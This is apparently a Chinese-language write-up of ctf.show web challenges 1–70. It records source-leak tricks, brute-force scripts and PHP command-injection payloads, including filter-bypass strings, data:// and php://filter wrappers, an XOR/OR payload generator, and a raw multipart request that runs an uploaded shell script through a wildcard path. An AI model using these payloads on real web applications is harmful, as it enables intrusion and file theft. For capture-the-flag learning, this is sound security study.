web1

右键查看源码

web2

ctrl+shift+c

web3

返回包的头部字段里

web4

/robots.txt 里有flag的位置

/flagishere.txt 即可

web5

phps做备份源码泄露
访问index.phps

phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。

web6

/www.zip获取源码

web7

git源码泄露访问
/.git/

web8

svn泄露,访问.svn即可

web9

vim 临时文件泄露访问index.php.swp即可

web10

查看cookie即可

web11

随便一个查询dns txt的网站即可

网站

web12

根据题目描述

有时候网站上的公开信息,就是管理员常用密码

可以知道网站上的公开信息可能就是登录密码

我们猜测有可能是姓名、身份证、生日、电话号码

可以在底部发现一个电话号码猜测可能就是我们要的

访问/admin登录即可
admin/372619038

web13

在网站底部可以发现文档的url,点击即可得到开发文档,其中有后台地址和默认密码,访问登录即可

web14

根据提示输入editor进入编辑器,该编辑器可以遍历文件从从而获得flag路径


访问/nothinghere/fl000g.txt即可获得flag

web15

访问/admin进入管理员登录界面点击忘记密码,通过主页的qq邮箱搜索qq可以发现来自西安
即可重置密码
登录即可获得flag

web16

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

探针url/tz.php

phpinfo()中发现flag

web17

提示
backup.sql
vscode打开即可发现

web18

直接看js源码

发现胜利逻辑

叫我们去奇怪的地方看看

你赢了,去幺幺零点皮爱吃皮看看

抽象,这个皮爱吃皮我以为是pacp结果是php

web19

查看源码

改包password

a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

即可

web20

访问/db/db.mdb
16进制查看器发现flag

web21

已经给出爆破的字典,使用bp爆破即可
选择sniper模式,给需要的地方打上tag

pyload type 需要选择custom iterator 模式,添加三payload,分别是用户名,:,密码
然后选择base64加密取消url编码即可

web22

域名爆破,但是失效了

web23

直接瞎爆破即可

web24

点开题目发现输出了ubuntu的版本,可以先网上查找默认版本是啥,搜到为php 7.4再使用php在线网站跑一下就行
https://rtool.cn/run/php741.html

<?php

        mt_srand(372619038);
        echo(mt_rand());


     ?>

web25

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023

可以发现会输出随机数,我们直接设r=0就能知道随机数是多少了得到是89800982
再添加到cookie即可

web26


直接爆破就行

web27

下载录取名单,又有学籍查询系统,直接爆破就行
先生成字典

fp = open("list.txt","w")
for year in range(1990,2017):
    for month in range(1,13):
        for day in range(1,32):
            flag = f"621022{year}{month:02}{day:02}5237"
            fp.write(flag+"\n")
fp.close()

再爆破

web28

爆破路径,然后等着就行

import requests
for i in range(0,100):
    for j in range(0,100):
        url= f"http://ab29e314-d8c8-437b-9f88-59ba2681847a.challenge.ctf.show/{i}/{j}/"
        response = requests.get(url=url)

        if  response.status_code!= 403:
            print(response.text)

web 29

eazy

web 30

过滤了flag|system|php
用`可以直接执行命令

echo `nl f*`;

web 31

直接无参数rce
payload

?c=eval(end(current(get_defined_vars())));&shell=phpinfo();

web 32

过滤

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

web 33

没有;可以使用?>,使用inlcude直接得到flag



c=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web 34

同上

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web 35

同上

web 36

同上

web 37

有一个include,过滤flag
可以使用data://text/plain命令执行

data://text/plain,<?php system(%27cat f*%27)?>

web 38

nginx的日志文件/var/log/nginx/access.log

过滤

flag|php|file

data://text/plain+base64秒了

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==

web 39

include($c.".php");

拼接了,但是没啥用,用data协议也能秒

web 40

无参数rce,前面的方式直接出

?c=eval(end(current(get_defined_vars())));&shell=system(%27cat%20f*%27);

官方wp无参数
show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

web 41

[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-

没有过滤|那么可以利用|来做字符串的异或,就可利用或运算来拼接
先可以在过滤规则下生成替换字典,然后再直接替换

import re
dic = {}
for i in range(0,256):
    for j in range(0,256):
        if 32<=i|j<=126:
            if not re.match(r'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr(i)) and not  re.match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr(j)):
                if not dic.get(chr(i|j)): 
                    dic.update({chr(i|j):[f"%{'{:02x}'.format(i)}",f"%{'{:02x}'.format(j)}"]})
cmd = input()
payload1=""
payload2=""
for i in cmd:
    payload1+=dic[i][0]
    payload2+=dic[i][1]
print(f"(\"{payload1}\"|\"{payload2}\")")

web 42

system($c." >/dev/null 2>&1");

直接截断命令就行
cat flag.php;

web 43

if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

||截断

nl flag.php||

也可以使用换行截断
nl flag.php%0a

web 44

同上

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

nl%20f*||

web45

    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");

主要考察${IFS}绕过空格
nl${IFS}f*||

web 46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");

使用<可以绕过空格,''可以防止flag的匹配

nl<fla''g.php||

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
}

一样
nl<fla''g.php||

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");

nl<fla''g.php||

web 49

一个payload快打通了要

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");

nl<fla''g.php||

web 50

nl<fla''g.php||

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

\x09\x26分别是\t&

web 51

nl<fla''g.php||

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");

web 52

换了但是没完全换

nl${IFS}f''lag.php||

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");

web 53

nl${IFS}fl''ag.php

终于不一样了一点

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;

web 54

    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);

上难度了,没写出来,后面看应该是用通用符?来直接执行cat,再用通配符cat flag

/bin/?at${IFS}f???????
这里通配符只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径

web 55

无字母数字命令执行,详见命令执行绕过

先写个文件上传的php

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form action="https://aaca8e4e-fa2a-49b6-a82e-e0711e948e11.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <input type="file" id="file" name="file" multiple />
        <input type="submit" value="submit" />
    </form>
</body>

</html>

pyload

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: aaca8e4e-fa2a-49b6-a82e-e0711e948e11.challenge.ctf.show
Content-Length: 218
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: http://localhost:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKXJOwK9i8Jc92kRd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Priority: u=0, i
Connection: keep-alive

------WebKitFormBoundaryKXJOwK9i8Jc92kRd
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream

#!/bin/sh

cat flag.php
------WebKitFormBoundaryKXJOwK9i8Jc92kRd--

其中最主要的就是利用.+/???/????????[@-[]执行shell

这里[@-[]匹配到的是大写字母,而字母又是随机的所以只有50%能执行成功

web 56

和上面pyload相同

 if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 4d2f371e-6edd-4723-b263-860bfc08acf4.challenge.ctf.show
Content-Length: 216
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: http://localhost:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4HNp5aifypnPB6aU
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Priority: u=0, i
Connection: keep-alive

------WebKitFormBoundary4HNp5aifypnPB6aU
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream

#!/bin/sh
cat flag.php
------WebKitFormBoundary4HNp5aifypnPB6aU--

web 57

只有$、(、)、运算符

eg:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

首先我们要知道,在linux中通常使用$(())来进行简单的数值计算

┌──(kali㉿kali)-[~/Desktop/shiyan/shiyan2]
└─$ echo $((1+1))   
2

而没有计算式子的时候,默认返回0
再者$((~0))会得到-1

web 58

禁用了system phpinfo等
我们直接用include+php伪协议读取即可

c=include("php://filter/convert.base64-encode/resource=flag.php");

wp的方式

c=show_source('flag.php');

show_source() 函数用于对文件进行 PHP 语法高亮显示
highlight_file() 的别名

web 59

c=show_source('flag.php');

web 60

c=show_source('flag.php');

web 61

c=show_source('flag.php');

web 62

c=show_source('flag.php');

web 63

c=show_source('flag.php');

web 64

c=show_source('flag.php');

web 65

c=show_source('flag.php');

web 66

include("php://filter/convert.base64-encode/resource=flag.php")

告诉我们不在这里面

那就得扫目录了,这里使用scandir()

c=print_r(scandir("/"));

发现有flag.php

再利用上面的方式读取

c=include("php://filter/convert.base64-encode/resource=/flag.txt");

官方payload

c=highlight_file('/flag.txt');

web 67

根据前面的做题猜测在flag.txt
highlight_file("/flag.txt");即可

web 68

c=include("php://filter/convert.base64-encode/resource=/flag.txt");

web 69

c=include("php://filter/convert.base64-encode/resource=/flag.txt");

web 70

c=include("/flag.txt");

一个好奇的人